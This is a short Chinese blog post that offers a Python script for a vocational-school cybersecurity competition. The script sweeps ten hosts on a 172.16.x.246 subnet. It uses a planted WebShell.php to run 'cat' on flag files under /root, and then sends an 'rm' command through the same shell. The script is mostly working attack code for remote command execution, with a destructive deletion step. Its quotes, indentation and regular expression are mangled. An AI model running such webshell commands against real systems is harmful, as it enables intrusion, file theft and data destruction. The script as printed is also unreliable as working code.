中职网络安全比赛脚本-WebShell(小福利哦)

webshell

import requests
import re
for i in range(100,110):
html = “http://172.16.”+str(i)+".246/WebShell.php?cmd=cat+%2Froot%2Fflagv*"
rm = “http://172.16.”+str(i)+".246/WebShell.php?cmd=rm+"
try:
repon = requests.get(html,timeout=0.1)
a = re.search("

(.?)
",repon.text,re.S)
print (“172.16.”+str(i)+".246:"+a.group(1).strip())
repon = requests.get(rm,timeout=0.1).text
except:
pass

你可能感兴趣的:(中职网络安全比赛脚本-WebShell(小福利哦))